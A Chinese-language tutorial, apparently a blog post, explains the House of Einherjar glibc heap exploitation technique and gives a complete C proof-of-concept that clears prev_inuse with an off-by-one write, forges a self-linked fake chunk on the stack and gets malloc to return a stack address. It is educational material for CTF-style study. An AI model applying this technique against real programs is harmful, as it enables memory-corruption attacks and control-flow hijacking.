House Of Einherjar

House of Einherjar 是一种非常经典且巧妙的堆溢出利用技术。只要你理解C语言中的指针,并且知道程序是通过 malloc 分配内存、free 释放内存的,我们就完全可以把这个漏洞的原理盘清楚。

简单来说,这个技术的核心思想是:利用一个微小的溢出(通常只有一个字节),欺骗内存管理器(glibc),让它跨越巨大的内存空间,把一个我们伪造的"假内存块"和刚刚释放的真内存块合并在一起。 这样,我们就能把内存分配到程序的任何地方(比如栈上)。

我们分步骤来拆解这个过程。


1. 铺垫:内存管理器的"合并"机制

当我们在程序中连续分配两个内存块(Chunk A 和 Chunk B)时,它们在内存中是挨着的。

为了防止内存碎片化,当你调用 free(B) 释放 Chunk B 时,glibc(内存管理器)会非常聪明地往回看一眼:"B 前面的 Chunk A 还在使用中吗?如果 A 也被释放了,我就把 A 和 B 合并成一个更大的空闲块。"

glibc 是怎么知道 A 是否空闲,以及 A 在哪里的呢?

这就依赖于 Chunk B 头部(Header)的两个关键数据:

  1. P标志位 (prev_inuse): 藏在 Chunk B 大小(Size)字段的最低位。如果 P=1,说明前面的 A 正在使用;如果 P=0,说明前面的 A 已经空闲,可以合并。
  2. prev_size: 记录前一个 Chunk 的大小。如果 glibc 决定要合并前面的块,它就会用 Chunk B 的地址 - prev_size,从而准确找到 Chunk A 的开头位置。

2. 破局点:只要溢出一个字节 (Off-by-One)

House of Einherjar 的威力在于,它不需要你有多大的溢出能力,只要能溢出一个字节(通常是一个 \x00空字节)就足够了。

假设我们正在向 Chunk A 写入数据,由于程序有一个小 Bug,我们多写了一个 \x00 字节。这个微小的溢出,恰好覆盖到了紧挨着它的 Chunk B 的 Header。

这一滴墨水,引发了致命的连锁反应:

  1. 它覆盖了 Chunk B 的 Size 字段的最末尾一个字节,把 P标志位 从 1 变成了 0。
  2. Chunk A 的数据部分,其实是可以覆盖到 Chunk B 的 prev_size 字段的(这是 glibc 为了节省内存设计的机制)。

此时,在 glibc 的眼里,世界变了:它误以为 Chunk B 前面的某块内存是空闲的!


3. 瞒天过海:伪造假区块 (Fake Chunk)

既然 glibc 认为前面有空闲块,那我们要做的就是给它"指一条明路"。

我们在程序里找一个我们想写入数据的地方(比如栈上,或者 BSS 段),在这个目标位置,我们手工构造一个"假内存块" (Fake Chunk)。

接着,我们在 Chunk A 里做手脚,修改 Chunk B 的 prev_size:

我们把 prev_size 的值,设置成 Chunk B 所在的地址,与我们伪造的 Fake Chunk 所在的地址之间的距离(差值)。


4. 见证奇迹:触发合并

万事俱备,现在我们在程序中触发 free(B)。

看看这个时候 glibc 会怎么做:

  1. 检查 Chunk B 的 P标志位。发现 P=0(被我们的溢出字节清零了)。
  2. glibc 心想:"前面的块是空闲的,我要合并它!"
  3. glibc 去找前面那个块的地址:计算 Chunk B 的地址 - prev_size。
  4. 因为我们把 prev_size 设置成了那个巨大的距离,计算结果精准地指向了我们在栈上伪造的 Fake Chunk!
  5. glibc 完全没有怀疑,它调用了一个叫 unlink 的操作,把栈上的 Fake Chunk 和堆上的 Chunk B 强行跨界合并在了一起,变成了一个超级大的空闲块。

5. 摘取果实:任意地址写入

合并完成后,这个包含了目标地址的"超级大内存块"就被放回了空闲池中。

这时候,我们只要再调用一次 malloc,申请一个合适大小的内存,glibc 就会把刚才合并的那个内存块分配给我们。

结果就是:这次分配返回的指针,指向了栈(或者目标区域)!

接下来,无论我们往这个指针里写什么,都等同于直接修改了栈上的关键数据(比如覆盖函数的返回地址),从而控制程序的执行流(也就是我们常说的 Get Shell)。


简单总结它的流程:

  1. 踩点: 在目标位置(如栈)伪造一个 Fake Chunk。
  2. 布局: 申请 Chunk A 和 Chunk B。
  3. 篡改: 利用 Chunk A 的一字节溢出漏洞,把 Chunk B 的 P标志位清零,并把 B 的 prev_size 改成 B 到 Fake Chunk 的距离。
  4. 引爆: 释放 Chunk B,触发跨界合并。
  5. 收割: 再次分配内存,直接控制目标地址。

安全防御的补充说明: 现代的 glibc 加入了 unlink 安全检查(比如检查假块的 fd 和 bk 指针是否合法,也就是 p->fd->bk == p 和 p->bk->fd == p)。因此在第一步伪造 Fake Chunk 时,我们通常需要先泄漏一个地址,把 Fake Chunk 的前后指针都指向自己,或者指向一个已知可控的内存,才能骗过这个安全检查。

例子

为了把这个精妙的过程具象化,我们用一段 C 语言代码来模拟整个 House of Einherjar 的利用过程。

在现代的 glibc 内存管理器中,unlink 宏有一个非常著名的安全检查,被称为 "双向链表完整性检查":

复制代码
// glibc 源码中的 unlink 检查
if (FD->bk != P || BK->fd != P)
    malloc_printerr ("corrupted double-linked list");

翻译过来就是:"你的下一个块的 prev 指针,和你的上一个块的 next 指针,必须都指向你。" 如果我们在栈上随便伪造一个假块(Fake Chunk),它的 fd 和 bk 指针如果是乱填的,程序在触发合并时就会直接崩溃报错。

最巧妙、最简单的绕过方法是:让 Fake Chunk 的 fd和 bk指针,都指向 Fake Chunk 自己。

下面是完整的利用代码示例与拆解:

复制代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

int main() {
    // 【1. 布局】:申请 Chunk A 和 Chunk B
    // A 申请 0x38 字节,实际分配 0x40 字节 (其中最后 8 字节是被 B 复用的 prev_size)
    uint8_t *a = malloc(0x38);
    // B 申请 0xf8 字节,实际分配 0x100 字节
    uint8_t *b = malloc(0xf8);

    // 【2. 踩点】:在栈上伪造 Fake Chunk
    uint64_t fake_chunk[10];
    uint64_t fake_chunk_addr = (uint64_t)fake_chunk;

    fake_chunk[0] = 0;              // prev_size (合并时用不到,填0)
    fake_chunk[1] = 0x60;           // size (大小只要合理即可)
    
    // 核心绕过:让 fd 和 bk 都指向自己
    // 这样 FD->bk 就是自己->bk,还是自己;BK->fd 也是自己。完美绕过安全检查!
    fake_chunk[2] = fake_chunk_addr; // fd 
    fake_chunk[3] = fake_chunk_addr; // bk 

    // 【3. 计算偏移】:计算 Chunk B 到 Fake Chunk 的距离
    // chunk header 在用户指针前 0x10 字节处
    uint64_t b_header_addr = (uint64_t)b - 0x10; 
    uint64_t offset = b_header_addr - fake_chunk_addr;

    // 【4. 篡改】:利用 Chunk A 的溢出漏洞
    uint64_t *a_qword = (uint64_t *)a;
    // 写入 Chunk B 的 prev_size(利用了 A 数据的最后 8 字节)
    a_qword[6] = offset; 

    // 致命的 Off-by-One 单字节溢出!
    // A 的用户数据界限是 0x38,往 a[0x38] 写一个字节,
    // 恰好覆盖了 Chunk B 的 size 字段的最低位,把 P 标志位(prev_inuse)清零!
    // 比如把原本的 size 0x101 变成了 0x100
    a[0x38] = '\x00'; 

    // 【5. 引爆】:触发合并
    // glibc 释放 B 时发现 P 标志位为 0,以为前面的块空闲了。
    // 它通过 b_header_addr - offset,精准找到了栈上的 fake_chunk!
    // 接着对 fake_chunk 执行 unlink,因为 fd 和 bk 的巧妙设置,成功通过检查。
    free(b);

    // 【6. 收割】:控制目标地址
    // 此时栈上的 fake_chunk 已经被 glibc 吞进了 unsorted bin 空闲链表中。
    // 我们再次申请内存,glibc 就会把栈的地址分配给我们!
    uint8_t *target = malloc(0x150);

    // 劫持成功!我们现在可以直接往栈上写数据了,比如覆盖函数的返回地址
    strcpy((char *)target, "You have successfully hijacked the stack!");
    printf("%s\n", target);

    return 0;
}

核心原理解读

在这段代码中,最魔幻的化学反应发生在第 4 步和第 5 步:

  1. prev_size复用机制 :在 ptmalloc 中,如果一个 Chunk 处于使用状态,它的 prev_size 字段(占 8 字节)是无效的,glibc 为了省内存,会把这 8 个字节借给前一个 Chunk(也就是 Chunk A)当用户数据用。这就是为什么往 a_qword[6] 写入 offset,实际上就修改了 B 的 prev_size。
  2. **fd == 自己, bk == 自己**:当 glibc 对栈上的 fake_chunk 执行 unlink 摘除操作时,它会取出 FD = fake_chunk->fd 和 BK = fake_chunk->bk,此时 FD 和 BK 都是 fake_chunk 的地址。
    当 glibc 检查 FD->bk == P 时,实际上就是在检查 fake_chunk->bk == fake_chunk,这个等式永远成立。同理 BK->fd 也会通过检查。

这个技术在早期的 CTF 比赛和真实漏洞利用中极其常见,它将堆内存和栈(或 BSS 段)彻底打通,完成了从"堆溢出"到"任意地址写"的质变。

相关推荐
请输入蚊子19 天前
AFL源码分析(一)
c·pwn·afl·fuzz
玫幽倩1 个月前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
桃蹊、1 个月前
FreeRTOS(二)之堆和栈:内存基础入门
freertos·内存管理·栈·堆
bnmoel2 个月前
数据结构深度剖析二叉树・下篇:链式结构的实现 ,遍历方法全解析
c语言·数据结构·算法·二叉树·堆
无忧.芙桃2 个月前
数据结构之堆
c语言·数据结构·c++·算法·堆
WL学习笔记2 个月前
堆(数据结构)
数据结构·堆
啦啦啦啦啦zzzz4 个月前
数据结构:堆排序
数据结构·c++·堆
8Qi84 个月前
LeetCode 295:数据流的中位数(Median Finder)—— Java 题解 ✅
java·算法·leetcode·优先队列·堆·中位数
8Qi84 个月前
LeetCode 23. 合并 K 个升序链表 —— 小顶堆(PriorityQueue)
数据结构·算法·leetcode·链表·堆